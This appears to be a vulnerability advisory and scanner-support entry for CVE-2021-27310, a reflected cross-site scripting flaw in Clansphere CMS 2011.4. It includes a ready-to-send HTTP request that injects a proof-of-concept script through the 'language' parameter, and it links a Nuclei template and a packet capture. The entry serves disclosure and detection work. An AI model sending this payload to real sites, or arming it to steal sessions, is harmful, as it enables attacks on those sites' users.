| Title | Clansphere CMS 2011.4 - Cross-Site Scripting |
|---|---|
| Author | alph4byt3 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | To mitigate this vulnerability, it is recommended to apply the latest security patches or updates provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04092 |
| CVE ID | CVE-2021-27310 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss clansphere csphere vuln |
Clansphere CMS 2011.4 contains an unauthenticated reflected cross-site scripting vulnerability via the “language” parameter.
GET /clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-27310.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-27310.pcap
N/AN/A